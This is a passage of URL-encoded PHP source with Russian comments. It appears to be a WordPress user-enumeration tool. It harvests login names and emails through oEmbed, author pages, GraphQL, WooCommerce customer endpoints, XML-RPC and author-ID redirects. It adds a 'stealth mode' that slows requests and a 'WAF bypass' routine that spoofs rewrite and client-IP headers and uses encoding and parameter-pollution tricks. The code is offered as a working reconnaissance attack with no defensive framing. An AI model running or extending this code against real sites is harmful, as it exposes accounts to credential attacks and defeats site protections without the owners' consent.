A%0D%0A%20%20%20%20%20%2A%20%D0%9D%D0%9E%D0%92%D0%AB%D0%99%20%D0%BC%D0%B5%D1%82%D0%BE%D0%B4%3A%20oEmbed%20API%0D%0A%20%20%20%20%20%2A/%0D%0A%20%20%20%20private%20function%20tryOembedAPI%28%24base_url%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%24endpoints%20%3D%20%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27/wp-json/oembed/1.0/embed%3Furl%3D%27%20.%20urlencode%28%24base_url%29%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27/%3Frest_route%3D/oembed/1.0/embed%26url%3D%27%20.%20urlencode%28%24base_url%29%0D%0A%20%20%20%20%20%20%20%20%5D%3B%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20foreach%20%28%24endpoints%20as%20%24endpoint%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20try%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24response%20%3D%20%24this-%3EmakeRequest%28%24base_url%20.%20%24endpoint%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24this-%3Erequest_count%2B%2B%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24response%20%26%26%20%24response%5B%27status_code%27%5D%20%3D%3D%3D%20200%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data%20%3D%20json_decode%28%24response%5B%27body%27%5D%2C%20true%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28isset%28%24data%5B%27author_name%27%5D%29%20%26%26%20%21empty%28%24data%5B%27author_name%27%5D%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24login%20%3D%20%24this-%3EnormalizeLogin%28%24data%5B%27author_name%27%5D%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24login%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24this-%3EaddMethodToStats%28%27oembed_api%27%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%5B%24login%5D%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20catch%20%28Exception%20%24e%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20return%20%5B%5D%3B%0D%0A%20%20%20%20%7D%0D%0A%20%20%20%20%0D%0A%20%20%20%20/%2A%2A%0D%0A%20%20%20%20%20%2A%20%D0%9D%D0%9E%D0%92%D0%AB%D0%99%20%D0%BC%D0%B5%D1%82%D0%BE%D0%B4%3A%20Author%20Pages%0D%0A%20%20%20%20%20%2A/%0D%0A%20%20%20%20private%20function%20tryAuthorPages%28%24base_url%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%24response%20%3D%20%24this-%3EmakeRequest%28%24base_url%29%3B%0D%0A%20%20%20%20%20%20%20%20%24this-%3Erequest_count%2B%2B%3B%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20if%20%28%21%24response%20%7C%7C%20%24response%5B%27status_code%27%5D%20%21%3D%3D%20200%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%5B%5D%3B%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%24html%20%3D%20%24response%5B%27body%27%5D%3B%0D%0A%20%20%20%20%20%20%20%20return%20%24this-%3EextractLoginsFromHTML%28%24html%29%3B%0D%0A%20%20%20%20%7D%0D%0A%20%20%20%20%0D%0A%20%20%20%20/%2A%2A%0D%0A%20%20%20%20%20%2A%20GraphQL%20API%20%D1%81%20%D1%80%D0%B0%D1%81%D1%88%D0%B8%D1%80%D0%B5%D0%BD%D0%BD%D1%8B%D0%BC%D0%B8%20%D0%B7%D0%B0%D0%BF%D1%80%D0%BE%D1%81%D0%B0%D0%BC%D0%B8%0D%0A%20%20%20%20%20%2A/%0D%0A%20%20%20%20private%20function%20tryGraphQL%28%24base_url%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%24endpoints%20%3D%20%5B%27/graphql%27%2C%20%27/wp-json/graphql%27%2C%20%27/wp-graphql/%27%2C%20%27/graphql/%27%5D%3B%0D%0A%20%20%20%20%20%20%20%20%24queries%20%3D%20%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27%7B%22query%22%3A%20%22query%20GetUsers%20%7B%20users%20%7B%20nodes%20%7B%20id%20name%20slug%20email%20%7D%20%7D%20%7D%22%7D%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27%7B%22query%22%3A%20%22%7B%20users%20%7B%20edges%20%7B%20node%20%7B%20id%20name%20slug%20%7D%20%7D%20%7D%20%7D%22%7D%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27%7B%22query%22%3A%20%22query%20%7B%20users%28first%3A%20100%29%20%7B%20nodes%20%7B%20slug%20name%20%7D%20%7D%20%7D%22%7D%27%0D%0A%20%20%20%20%20%20%20%20%5D%3B%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20foreach%20%28%24endpoints%20as%20%24endpoint%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20foreach%20%28%24queries%20as%20%24query%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20try%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24response%20%3D%20%24this-%3EmakeRequest%28%24base_url%20.%20%24endpoint%2C%20%27POST%27%2C%20%24query%2C%20%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27Content-Type%3A%20application/json%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27Accept%3A%20application/json%27%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5D%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24this-%3Erequest_count%2B%2B%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24response%20%26%26%20%24response%5B%27status_code%27%5D%20%3D%3D%3D%20200%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data%20%3D%20json_decode%28%24response%5B%27body%27%5D%2C%20true%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24logins%20%3D%20%5B%5D%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20//%20%D0%A0%D0%B0%D0%B7%D0%BD%D1%8B%D0%B5%20%D1%81%D1%82%D1%80%D1%83%D0%BA%D1%82%D1%83%D1%80%D1%8B%20%D0%BE%D1%82%D0%B2%D0%B5%D1%82%D0%BE%D0%B2%20GraphQL%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28isset%28%24data%5B%27data%27%5D%5B%27users%27%5D%5B%27nodes%27%5D%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20foreach%20%28%24data%5B%27data%27%5D%5B%27users%27%5D%5B%27nodes%27%5D%20as%20%24user%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28isset%28%24user%5B%27slug%27%5D%29%29%20%24logins%5B%5D%20%3D%20%24user%5B%27slug%27%5D%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28isset%28%24data%5B%27data%27%5D%5B%27users%27%5D%5B%27edges%27%5D%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20foreach%20%28%24data%5B%27data%27%5D%5B%27users%27%5D%5B%27edges%27%5D%20as%20%24edge%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28isset%28%24edge%5B%27node%27%5D%5B%27slug%27%5D%29%29%20%24logins%5B%5D%20%3D%20%24edge%5B%27node%27%5D%5B%27slug%27%5D%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%21empty%28%24logins%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24this-%3EaddMethodToStats%28%27graphql_api%27%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20array_unique%28%24logins%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20catch%20%28Exception%20%24e%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20return%20%5B%5D%3B%0D%0A%20%20%20%20%7D%0D%0A%20%20%20%20%0D%0A%20%20%20%20/%2A%2A%0D%0A%20%20%20%20%20%2A%20WooCommerce%20API%20%D1%81%20%D1%80%D0%B0%D1%81%D1%88%D0%B8%D1%80%D0%B5%D0%BD%D0%BD%D1%8B%D0%BC%D0%B8%20%D1%8D%D0%BD%D0%B4%D0%BF%D0%BE%D0%B8%D0%BD%D1%82%D0%B0%D0%BC%D0%B8%0D%0A%20%20%20%20%20%2A/%0D%0A%20%20%20%20private%20function%20tryWooCommerce%28%24base_url%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%24endpoints%20%3D%20%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27/wp-json/wc/v3/customers%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27/%3Frest_route%3D/wc/v3/customers%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27/wp-json/wc/v2/customers%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27/wp-json/wc/v1/customers%27%0D%0A%20%20%20%20%20%20%20%20%5D%3B%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20foreach%20%28%24endpoints%20as%20%24endpoint%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20try%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24response%20%3D%20%24this-%3EmakeRequest%28%24base_url%20.%20%24endpoint%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24this-%3Erequest_count%2B%2B%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24response%20%26%26%20%24response%5B%27status_code%27%5D%20%3D%3D%3D%20200%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24customers%20%3D%20json_decode%28%24response%5B%27body%27%5D%2C%20true%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_array%28%24customers%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24logins%20%3D%20%5B%5D%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20foreach%20%28%24customers%20as%20%24customer%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28isset%28%24customer%5B%27username%27%5D%29%20%26%26%20%21empty%28%24customer%5B%27username%27%5D%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24logins%5B%5D%20%3D%20%24customer%5B%27username%27%5D%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%21empty%28%24logins%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24this-%3EaddMethodToStats%28%27woocommerce_api%27%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20array_unique%28%24logins%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20catch%20%28Exception%20%24e%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20return%20%5B%5D%3B%0D%0A%20%20%20%20%7D%0D%0A%20%20%20%20%0D%0A%20%20%20%20/%2A%2A%0D%0A%20%20%20%20%20%2A%20%D0%9D%D0%9E%D0%92%D0%AB%D0%99%20%D0%BC%D0%B5%D1%82%D0%BE%D0%B4%3A%20XML-RPC%0D%0A%20%20%20%20%20%2A/%0D%0A%20%20%20%20private%20function%20tryXMLRPC%28%24base_url%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%24xmlrpc_data%20%3D%20%27%3C%3Fxml%20version%3D%221.0%22%3F%3E%3CmethodCall%3E%3CmethodName%3Ewp.getUsersBlogs%3C/methodName%3E%3Cparams%3E%3Cparam%3E%3Cvalue%3E%3Cstring%3Etest%3C/string%3E%3C/value%3E%3C/param%3E%3Cparam%3E%3Cvalue%3E%3Cstring%3Etest%3C/string%3E%3C/value%3E%3C/param%3E%3C/params%3E%3C/methodCall%3E%27%3B%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20try%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24response%20%3D%20%24this-%3EmakeRequest%28%24base_url%20.%20%27/xmlrpc.php%27%2C%20%27POST%27%2C%20%24xmlrpc_data%2C%20%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27Content-Type%3A%20text/xml%27%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%5D%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24this-%3Erequest_count%2B%2B%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24response%20%26%26%20%24response%5B%27status_code%27%5D%20%3D%3D%3D%20200%20%26%26%20strpos%28%24response%5B%27body%27%5D%2C%20%27Incorrect%20username%20or%20password%27%29%20%21%3D%3D%20false%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24this-%3EaddMethodToStats%28%27xmlrpc_methods%27%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20//%20XML-RPC%20%D0%B0%D0%BA%D1%82%D0%B8%D0%B2%D0%B5%D0%BD%2C%20%D0%BC%D0%BE%D0%B6%D0%BD%D0%BE%20%D0%BF%D0%BE%D0%BF%D1%80%D0%BE%D0%B1%D0%BE%D0%B2%D0%B0%D1%82%D1%8C%20%D0%B4%D1%80%D1%83%D0%B3%D0%B8%D0%B5%20%D0%BC%D0%B5%D1%82%D0%BE%D0%B4%D1%8B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%5B%5D%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%7D%20catch%20%28Exception%20%24e%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20//%20%D0%98%D0%B3%D0%BD%D0%BE%D1%80%D0%B8%D1%80%D1%83%D0%B5%D0%BC%20%D0%BE%D1%88%D0%B8%D0%B1%D0%BA%D0%B8%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20return%20%5B%5D%3B%0D%0A%20%20%20%20%7D%0D%0A%20%20%20%20%0D%0A%20%20%20%20/%2A%2A%0D%0A%20%20%20%20%20%2A%20%D0%A3%D0%9B%D0%A3%D0%A7%D0%A8%D0%95%D0%9D%D0%9D%D0%AB%D0%99%20Author%20Enumeration%0D%0A%20%20%20%20%20%2A/%0D%0A%20%20%20%20private%20function%20tryAuthorEnumeration%28%24base_url%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%24logins%20%3D%20%5B%5D%3B%0D%0A%20%20%20%20%20%20%20%20%24max_authors%20%3D%20%28%24this-%3Eoptions%5B%27max_authors%27%5D%20%3F%3F%2030%29%3B%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20for%20%28%24i%20%3D%201%3B%20%24i%20%3C%3D%20%24max_authors%3B%20%24i%2B%2B%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20try%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24response%20%3D%20%24this-%3EmakeRequest%28%24base_url%20.%20%22/%3Fauthor%3D%7B%24i%7D%22%2C%20%27GET%27%2C%20null%2C%20%5B%5D%2C%20false%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24this-%3Erequest_count%2B%2B%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24response%20%26%26%20in_array%28%24response%5B%27status_code%27%5D%2C%20%5B301%2C%20302%5D%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24location%20%3D%20%24response%5B%27headers%27%5D%5B%27location%27%5D%20%3F%3F%20%27%27%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27/%5C/author%5C/%28%5B%5E%5C/%5C%3F%5D%2B%29/%27%2C%20%24location%2C%20%24matches%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24logins%5B%5D%20%3D%20urldecode%28%24matches%5B1%5D%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24response%20%26%26%20%24response%5B%27status_code%27%5D%20%3D%3D%3D%20200%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20//%20%D0%9F%D1%80%D0%BE%D0%B2%D0%B5%D1%80%D1%8F%D0%B5%D0%BC%20%D1%81%D0%BE%D0%B4%D0%B5%D1%80%D0%B6%D0%B8%D0%BC%D0%BE%D0%B5%20%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86%D1%8B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27/%3Cbody%5B%5E%3E%5D%2Aclass%3D%22%5B%5E%22%5D%2Aauthor-%28%5B%5E%22%5Cs%5D%2B%29/%27%2C%20%24response%5B%27body%27%5D%2C%20%24matches%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24logins%5B%5D%20%3D%20%24matches%5B1%5D%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20//%20%D0%9F%D0%B0%D1%83%D0%B7%D0%B0%20%D0%B2%20stealth%20%D1%80%D0%B5%D0%B6%D0%B8%D0%BC%D0%B5%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%28%24this-%3Eoptions%5B%27stealth_mode%27%5D%20%3F%3F%20false%29%20%26%26%20%24i%20%25%203%20%3D%3D%3D%200%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20usleep%28rand%28200000%2C%20500000%29%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20catch%20%28Exception%20%24e%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20if%20%28%21empty%28%24logins%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24this-%3EaddMethodToStats%28%27author_enumeration%27%29%3B%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20return%20array_unique%28%24logins%29%3B%0D%0A%20%20%20%20%7D%0D%0A%20%20%20%20%0D%0A%20%20%20%20/%2A%2A%0D%0A%20%20%20%20%20%2A%20%D0%A3%D0%9B%D0%A3%D0%A7%D0%A8%D0%95%D0%9D%D0%9D%D0%AB%D0%99%20WAF%20Bypass%0D%0A%20%20%20%20%20%2A/%0D%0A%20%20%20%20private%20function%20tryWAFBypass%28%24base_url%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%24bypass_techniques%20%3D%20%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20//%20Header%20bypass%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27path%27%20%3D%3E%20%27/some-random-path/%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27headers%27%20%3D%3E%20%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27X-Original-URL%3A%20/%3Frest_route%3D/wp/v2/users%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27X-Rewrite-URL%3A%20/%3Frest_route%3D/wp/v2/users%27%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%5D%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20//%20Case%20manipulation%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27path%27%20%3D%3E%20%27/%3FReSt_RoUtE%3D/wp/v2/users%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27headers%27%20%3D%3E%20%5B%5D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%5D%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20//%20Unicode%20bypass%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27path%27%20%3D%3E%20%27/%3Frest_route%3D/wp/v2/users%252F%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27headers%27%20%3D%3E%20%5B%5D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%5D%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20//%20Parameter%20pollution%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27path%27%20%3D%3E%20%27/%3Frest_route%3D/wp/v2/users%26rest_route%3Dignored%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27headers%27%20%3D%3E%20%5B%5D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%5D%0D%0A%20%20%20%20%20%20%20%20%5D%3B%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20foreach%20%28%24bypass_techniques%20as%20%24technique%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20try%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24headers%20%3D%20array_merge%28%24technique%5B%27headers%27%5D%2C%20%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27X-Forwarded-For%3A%20127.0.0.1%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27X-Real-IP%3A%20127.0.0.1%27%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27CF-Connecting-IP%3A%20127.0.0.1%27%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5D%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24response%20%3D%20%24this-%3EmakeRequest%28%24base_url%20.%20%24technique%5B%27path%27%5D%2C%20%27GET%27%2C%20null%2C%20%24headers%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24this-%3Erequest_count%2B%2B%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24response%20%26%26%20%24response%5B%27status_code%27%5D%20%3D%3D%3D%20200%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24users%20%3D%20json_decode%28%24response%5B%27body%27%5D%2C%20true%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_array%28%24users%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24logins%20%3D%20%5B%5D%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20foreach%20%28%24users%20as%20%24user%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%